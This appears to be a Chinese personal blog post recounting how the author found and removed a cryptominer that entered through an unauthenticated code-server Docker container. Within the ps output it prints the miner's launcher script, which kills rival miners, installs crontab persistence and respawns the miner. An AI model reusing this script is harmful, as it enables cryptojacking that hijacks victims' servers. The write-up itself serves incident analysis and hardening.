0x01 序※
昨天晚上我的监控bot一直给我发消息,Trilium挂了好几次,我要睡觉了没管。
今早打开笔记还是挂的状态,事出反常必有妖!
进服务器一看,四个CPU全部爆红100%。
0x02 分析※
进入服务器htop看一下,找找哪个占用最高。
这个syst3md一看就不正经,占用那么高。(之前是syst4md,被我杀掉了,重启变成syst3md了)
killall syst3md
不出意外的,它重启了。
0x03 杀毒※
用htop按F5可以树形查看进程,可以看到挖矿进程的父进程。
由于挖矿进程执行完就销毁,htop是实时的,所以不好定位。
使用ps aux |grep syst3md
查找,得到
[root@Cynic Ciallo]# ps -aux |grep start
root 383 0.0 0.0 8504 836 ? Ss 13:11 0:02 sshd: /usr/bin/sshd -D [listener] 0 of 10-100 startups
Talisker 44627 0.1 0.0 7892 2428 pts/0 S 14:59 0:00 ./apachelogs -c #!/bin/bash sleeptime=5 killminers() { pkill obama1 pkill playstation pkill xmrig .pkill java pkill cnrig } hook1location=`cat /var/tmp/.apachee/.hook1location` apachelogslocation=`cat /var/tmp/.apachee/.apachelogslocation` while : do .killminers .if ! crontab -l | grep -q 'cronstart'; .then ..rm -rf .tempo ..echo "* * * * * ${hook1location} > /dev/null <&1 2>&1 & disown" >> .tempo ..sleep 1 ..echo "@monthly ${hook1location} > /dev/null <&1 2>&1 & disown" >> .tempo ..sleep 1 ..echo "@reboot ${apachelogslocation} > /dev/null <&1 2>&1 & disown" >> .tempo ..crontab .tempo ..rm -rf .tempo .fi . .if ! pgrep -x syst3md > /dev/null .then ..$hook1location > /dev/null <&1 2>&1 & disown .fi .sleep $sleeptime done ./apachelogs
Talisker 72659 179 12.0 2611652 480380 ? Ssl 15:05 0:05 /var/tmp/.ICE-Temp/syst3md
显然这个bash就是启动脚本,kill 9 44627
杀死后,再干掉syst3md
。CPU下降,挖矿进程不再生成。看它这个脚本还设置了定时启动,还好我服务器上没有cron。
通过proc查找syst3md的执行文件
# ls /proc/<syst3md pid>/ ## 杀死进程之前才能看到
[root@Cynic Ciallo]# ls -al /proc/156898/
total 0
dr-xr-xr-x 9 Talisker Talisker 0 Jan 6 15:25 .
dr-xr-xr-x 334 root root 0 Jan 6 13:11 ..
-r--r--r-- 1 Talisker Talisker 0 Jan 6 15:25 arch_status
dr-xr-xr-x 2 Talisker Talisker 0 Jan 6 15:25 attr
-rw-r--r-- 1 Talisker Talisker 0 Jan 6 15:25 autogroup
-r-------- 1 Talisker Talisker 0 Jan 6 15:25 auxv
-r--r--r-- 1 Talisker Talisker 0 Jan 6 15:25 cgroup
--w------- 1 Talisker Talisker 0 Jan 6 15:25 clear_refs
-r--r--r-- 1 Talisker Talisker 0 Jan 6 15:25 cmdline
-rw-r--r-- 1 Talisker Talisker 0 Jan 6 15:25 comm
-rw-r--r-- 1 Talisker Talisker 0 Jan 6 15:25 coredump_filter
-r--r--r-- 1 Talisker Talisker 0 Jan 6 15:25 cpu_resctrl_groups
-r--r--r-- 1 Talisker Talisker 0 Jan 6 15:25 cpuset
lrwxrwxrwx 1 Talisker Talisker 0 Jan 6 15:25 cwd -> /var/tmp/.ICE-Temp
-r-------- 1 Talisker Talisker 0 Jan 6 15:25 environ
lrwxrwxrwx 1 Talisker Talisker 0 Jan 6 15:25 exe -> /usr/bin/sleep
dr-x------ 2 Talisker Talisker 8 Jan 6 15:25 fd
dr-xr-xr-x 2 Talisker Talisker 0 Jan 6 15:25 fdinfo
-rw-r--r-- 1 Talisker Talisker 0 Jan 6 15:25 gid_map
-r-------- 1 Talisker Talisker 0 Jan 6 15:25 io
-r-------- 1 Talisker Talisker 0 Jan 6 15:25 ksm_merging_pages
这个/var/tmp/.ICE-Temp
并不在系统里,我用find / -name syst3md
找找
/var/lib/docker/overlay2/df0dd3e7b62daf89077fe467bf985bb280db7bd51cfd3a48c0927fae99cee001/diff/var/tmp/.ICE-Temp/syst3md
这就是病毒的文件夹了,看看属性
[root@Cynic Ciallo]# stat /var/lib/docker/overlay2/df0dd3e7b62daf89077fe467bf985bb280db7bd51cfd3a48c0927fae99ce
e001/diff/var/tmp/.ICE-Temp
File: /var/lib/docker/overlay2/df0dd3e7b62daf89077fe467bf985bb280db7bd51cfd3a48c0927fae99cee001/diff/var/tmp/.ICE-Temp
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 254,1Inode: 1070491 Links: 3
Access: (0755/drwxr-xr-x) Uid: ( 1000/Talisker) Gid: ( 1000/Talisker)
Access: 2025-01-06 15:30:03.329794789 +0800
Modify: 2025-01-06 15:23:14.191141937 +0800
Change: 2025-01-06 15:23:14.191141937 +0800
Birth: 2025-01-05 22:21:05.345500219 +0800
就是昨天监控疯狂给我发消息时候创建的。
直接删掉它应该就解决了。
0x04 溯源※
我第一时间想到的就是ssh登录,立马翻看ssh记录
# journalctl _COMM=sshd // arch默认是journal接管日志,所以/var/logs/没有sshd日志
翻了半天也没发现有陌生登录,我ssh也特地加固过,禁用密码登录,禁用root登录的。[ 有时间写写怎么加固服务器 ]
因为所有ssh登录时都会把用户名和IP推到我的电报上,应该不是ssh的问题。
突然想到病毒文件的位置,/var/lib/docker/overlay2/df0dd3e7b62daf89077fe467bf985bb280db7bd51cfd3a48c0927fae99ce
e001/diff/var/tmp/.ICE-Temp
这是docker的文件,查了一下,是code-server的容器。
code-server是一个可以在浏览器编程的环境,可以说是网页版的vscode,但是这个镜像没有鉴权,就是说部署后任何人都可以通过这个连接使用。
我打开code-server一看,好家伙!
直接在这写的,我一开始以为是vscode哪个恶意插件带的病毒呢,结果。。这算病毒吗?看来任何暴露的服务都要做好鉴权。
0x03 结论※
初步排查没有发现ssh异常登录的痕迹,syst4md的启动进程的父进程来自docker运行的codeserver,病毒可能是通过codeserver的进入的,停止codeserver服务后病毒进程死亡,CPU使用率下降。定位就在codeserver,打开网页检查,是暴露的服务没有鉴权导致被滥用了。它应该就是特意在公网扫描没有鉴权的code-server服务,然后留下挖矿程序,没人发现他就赚了。从代码也可以看出来,这就是为了codeserver这个环境编写的。
(PS :但凡你占用低一点,我可能都不会发现。直接开七八个进程把我正常的服务都搞挂掉了。肯定得看看咋回事呀!)
晚上得配置一下防火墙,把所有暴露的端口检查一下。